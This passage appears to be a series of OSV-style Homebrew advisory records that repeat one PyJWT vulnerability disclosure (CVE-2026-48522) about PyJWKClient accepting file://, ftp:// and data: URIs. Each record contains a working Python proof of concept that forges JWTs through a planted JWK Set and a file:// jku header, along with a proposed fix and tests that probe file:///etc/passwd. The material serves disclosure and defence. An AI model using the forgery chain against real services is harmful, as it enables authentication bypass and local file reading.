  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-duplicity-CVE-2026-48522",
  "modified": "2026-10-07T22:44:53Z",
  "published": "2026-08-13T16:44:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.15.1",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "dvc",
        "purl": "pkg:brew/dvc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.2"
            },
            {
              "fixed": "1.1.4"
            },
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "3.67.1_5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.15.1",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.15.1"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-dvc-CVE-2026-48522",
  "modified": "2026-10-09T02:54:15Z",
  "published": "2026-08-13T16:44:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "pyjwt",
        "resource_purl": "pkg:pypi/pyjwt@2.13.0",
        "upstream_fixed_in": "2.13.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "evernote-backup",
        "purl": "pkg:brew/evernote-backup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/pyjwt@2.13.0",
        "name": "pyjwt",
        "resource": "pyjwt",
        "strategy": "registry",
        "subject_version": "2.13.0"
      }
    ]
  },
  "details": "\u003e [!NOTE]\n\u003e The library does not directly return non-HTTP(S) URI contents to the attacker; the chained \"plant a JWKS to forge tokens\" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.\n\n## Summary\n\nPyJWKClient passes its `uri` argument directly to `urllib.request.urlopen()` which uses Python stdlib\u0027s default `OpenerDirector` registering `HTTPHandler`, `HTTPSHandler`, `FTPHandler`, **`FileHandler`**, and `DataHandler`. There is currently no documented option to restrict which schemes PyJWKClient will fetch.\n\nIf an application\u0027s `jku` URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:\n\n1. Cause PyJWKClient to read arbitrary local files via `file://` (SSRF on local filesystem) \u2014 the file\u0027s contents are passed to `json.load`.\n2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).\n3. **Forge tokens that PyJWT verifies as valid** \u2014 if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and `jwt.decode()` accepts.\n\n## Affected versions\n\nTested and reproducible on **PyJWT 2.11.0 and 2.12.1**. Likely all versions back to PyJWKClient introduction.\n\n## Reproducer (full attack chain \u2014 verified empirically)\n\n```python\nimport jwt as pyjwt\nfrom jwt import PyJWKClient\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import serialization\nimport json, base64, time\n\n# Attacker generates keypair (no relation to real IdP)\nkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)\npub_n = key.public_key().public_numbers().n\n\ndef b64u(n):\n    bl = (n.bit_length() + 7) // 8\n    return base64.urlsafe_b64encode(n.to_bytes(bl, \u0027big\u0027)).rstrip(b\u0027=\u0027).decode()\n\n# Attacker writes JWK Set containing their public key to /tmp\njwks = {\"keys\":[{\"kty\":\"RSA\",\"kid\":\"attacker\",\"use\":\"sig\",\"alg\":\"RS256\",\n                  \"n\":b64u(pub_n),\"e\":\"AQAB\"}]}\nwith open(\"/tmp/attacker.json\",\"w\") as f:\n    json.dump(jwks, f)\n\n# Attacker mints token signed with their private key, jku=file://\npriv_pem = key.private_bytes(serialization.Encoding.PEM,\n    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())\nnow = int(time.time())\ntoken = pyjwt.encode(\n    {\"sub\":\"attacker\",\"aud\":\"target-app\",\"iat\":now,\"exp\":now+3600},\n    priv_pem, algorithm=\"RS256\",\n    headers={\"kid\":\"attacker\",\"jku\":\"file:///tmp/attacker.json\",\"typ\":\"JWT\"})\n\n# Vulnerable application pattern: caller derives jku from token header\n# and passes to PyJWKClient without scheme validation\nheader = pyjwt.get_unverified_header(token)\nclient = PyJWKClient(header[\"jku\"])      # \u003c-- accepts file:// silently\nkey_obj = client.get_signing_key_from_jwt(token)\ndecoded = pyjwt.decode(token, key_obj.key, algorithms=[\"RS256\"],\n                       audience=\"target-app\")\nprint(\"Token verified:\", decoded)\n# Output: Token verified: {\u0027sub\u0027: \u0027attacker\u0027, \u0027aud\u0027: \u0027target-app\u0027, ...}\n```\n\n## Cross-library evidence \u2014 PyJWT is the outlier\n\nThe same composition pattern is structurally safe in 4 other mainstream JWT libraries:\n\n| Library | Behavior on `jku=file://...` | Mechanism |\n|---|---|---|\n| **PyJWT 2.12.1** (Python) | **Reads file from disk, parses, uses for signature verification** | urllib default OpenerDirector includes FileHandler |\n| panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG `fetch()` rejects non-http(s) at fetch-spec layer |\n| golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | `http.DefaultTransport` only registers http/https |\n| Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | `HttpDocumentRetriever` defaults `RequireHttps=true` |\n| Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |\n\nPyJWT is the only library of these 5 where the default behavior allows `file://` to reach the fetch layer.\n\n## Recommended fix\n\nAdd `allowed_schemes: tuple[str, ...] = (\"https\", \"http\")` kwarg to `PyJWKClient.__init__`. Pre-validate URL scheme before invoking `urllib.request.urlopen`. URLs with disallowed schemes raise `PyJWKClientError` before any fetch is attempted.\n\n### Diff sketch against `jwt/jwks_client.py`\n\n```python\ndef __init__(\n    self, uri: str,\n    cache_keys: bool = False, max_cached_keys: int = 16,\n    cache_jwk_set: bool = True, lifespan: float = 300,\n    headers: dict[str, Any] | None = None, timeout: float = 30,\n    ssl_context: SSLContext | None = None,\n    allowed_schemes: tuple[str, ...] = (\"https\", \"http\"),  # NEW\n):\n    \"\"\"...\n    :param allowed_schemes: URL schemes the JWKS endpoint is permitted\n        to use. Default ``(\"https\", \"http\")``. Pass ``(\"https\",)`` for\n        HTTPS-only operation. URLs with disallowed schemes raise\n        ``PyJWKClientError`` before any fetch is attempted.\n    \"\"\"\n    # ... existing init code ...\n    self.allowed_schemes = allowed_schemes\n    self._validate_uri_scheme()\n\n\ndef _validate_uri_scheme(self) -\u003e None:\n    \"\"\"Reject the configured URI early if its scheme isn\u0027t allowed.\"\"\"\n    from urllib.parse import urlparse\n    parsed = urlparse(self.uri)\n    scheme = parsed.scheme.lower()\n    if not scheme:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI \u0027{self.uri}\u0027 has no scheme; expected one of \"\n            f\"{self.allowed_schemes!r}\")\n    if scheme not in self.allowed_schemes:\n        raise PyJWKClientError(\n            f\"PyJWKClient URI scheme \u0027{scheme}\u0027 is not in allowed_schemes \"\n            f\"{self.allowed_schemes!r}; refusing to fetch from this URL\")\n```\n\n### Tests to add\n\n```python\ndef test_pyjwkclient_rejects_file_scheme():\n    with pytest.raises(PyJWKClientError, match=\"not in allowed_schemes\"):\n        PyJWKClient(\"file:///etc/passwd\")\n\ndef test_pyjwkclient_rejects_ftp_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"ftp://example.org/keys.json\")\n\ndef test_pyjwkclient_rejects_data_scheme():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\u0027data:application/json,{\"keys\":[]}\u0027)\n\ndef test_pyjwkclient_caller_can_lock_to_https_only():\n    with pytest.raises(PyJWKClientError):\n        PyJWKClient(\"http://internal.test/jwks.json\", allowed_schemes=(\"https\",))\n```\n\n### Compatibility\n\n- Default `allowed_schemes=(\"https\", \"http\")` preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints\n- Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)\n- No changes to urllib fetch logic itself \u2014 the fix is a pre-validation gate\n\n## Class precedent\n\nThis is the same class as **CVE-2024-21643** (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.\n\n## Prior art (verified 2026-05-06)\n\nConfirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):\n\n- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling\n- No existing GitHub issue or PR addressing scheme allowlisting\n- No silent fix in CHANGELOG through 2.12.1\n- 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) \u2014 none cover this class\n\n## Credit\n\nReported by Keijo Tuominen \u2014 independent security research at CMHT.tech (https://cmht.tech).\n\nReproduction artifacts available on request: full multi-language probe pack (5 wrappers \u00d7 25 fixtures \u00d7 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.",
  "id": "BREW-evernote-backup-CVE-2026-48522",
  "modified": "2026-09-09T23:53:51Z",
  "published": "2026-08-13T16:45:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-993g-76c3-p5m4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8521"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyjwt/PYSEC-2026-175.yaml"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes",
  "upstream": [
    "GHSA-993g-76c3-p5m4",
    "CVE-2026-48522",
    "PYSEC-2026-175"
  ]
}